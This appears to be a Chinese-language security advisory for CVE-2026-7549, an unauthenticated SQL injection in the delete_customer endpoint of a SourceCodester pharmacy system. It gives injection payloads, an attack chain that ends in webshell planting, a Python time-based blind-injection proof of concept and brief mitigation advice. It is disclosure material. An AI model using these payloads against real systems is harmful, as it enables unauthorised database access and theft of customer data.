IPBUF安全漏洞报告
English
CVE-2026-7549 CVSS 7.3 高危

CVE-2026-7549 SourceCodester药房系统SQL注入漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-7549
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pharmacy Sales and Inventory System

相关标签

SQL注入CVE-2026-7549SourceCodester远程代码执行高危漏洞Web安全

漏洞概述

SourceCodester Pharmacy Sales and Inventory System 1.0版本中存在严重的安全漏洞。该漏洞位于/ajax.php?action=delete_customer接口,由于程序未对用户提交的ID参数进行严格的过滤和验证,直接将其拼接到SQL查询语句中,导致产生了SQL注入漏洞。攻击者无需任何认证即可远程利用此漏洞,通过发送特制的恶意请求,即可操纵后端数据库执行任意SQL命令。目前该漏洞的利用代码已被公开,建议相关用户尽快采取措施进行修复。

技术细节

该漏洞的技术根源在于应用程序在处理删除客户(delete_customer)的业务逻辑时,存在输入验证缺失的问题。具体来说,在/ajax.php文件中,当接收action参数为delete_customer的请求时,系统直接获取了HTTP请求中的ID参数,并将其动态拼接到SQL DELETE或SELECT语句中执行,而没有使用PDO或MySQLi等提供的参数化查询机制。
攻击者可以利用这一弱点,构造包含单引号、注释符(如--或#)以及特定SQL语意的Payload。例如,通过注入' OR '1'='1'等逻辑判断语句,攻击者可以绕过原本的ID限制,或者通过基于时间的盲注(如SLEEP(5))来逐个提取数据库中的敏感数据信息。由于CVSS向量显示PR:N(无需权限)和UI:N(无需交互),这极大地降低了攻击门槛,使得任何能够访问该Web接口的攻击者都有可能完全控制数据库内容,造成数据泄露、数据丢失或服务器被劫持的风险。

攻击链分析

STEP 1
1. 信息收集
攻击者使用扫描工具或手动浏览,识别出目标站点正在运行SourceCodester Pharmacy Sales and Inventory System 1.0,并定位到/ajax.php接口。
STEP 2
2. 漏洞探测
攻击者向/ajax.php?action=delete_customer发送请求,并在ID参数中插入SQL注入测试载荷(如单引号或逻辑判断),观察服务器响应以判断是否存在SQL注入。
STEP 3
3. 恶意利用
确认漏洞存在后,攻击者构造自动化脚本,利用UNION查询或盲注技术,提取数据库结构、管理员账号密码或客户敏感信息。
STEP 4
4. 后门植入/数据破坏
在获取足够的数据库权限后,攻击者可能尝试写入WebShell或执行DELETE/UPDATE语句破坏业务数据,导致系统瘫痪。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli_vulnerability(target_url): """ PoC for CVE-2026-7549 SQL Injection Vulnerability Target: /ajax.php?action=delete_customer Parameter: ID """ # The vulnerable endpoint full_url = f"{target_url}/ajax.php" # Payload testing for Time-Based Blind SQL Injection # If the database pauses for 5 seconds, the vulnerability is confirmed. payload = "?action=delete_customer&ID=1' AND (SELECT SLEEP(5))-- -" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Accept": "*/*" } try: print(f"[*] Sending request to: {full_url}{payload}") response = requests.get(full_url + payload, headers=headers, timeout=10) # Check if the response time indicates a successful SQL injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed! The application is vulnerable to SQL Injection.") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload failed.") print(f"[-] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1" check_sqli_vulnerability(target)

影响范围

SourceCodester Pharmacy Sales and Inventory System 1.0

防御指南

临时缓解措施
建议管理员立即检查系统日志,确认是否已被入侵。作为临时缓解措施,可以通过修改Web服务器配置(如Nginx或Apache)的Rewrite规则,拦截对/ajax.php路径的非法参数请求,或者直接临时禁用删除客户功能模块,直至官方补丁发布并完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表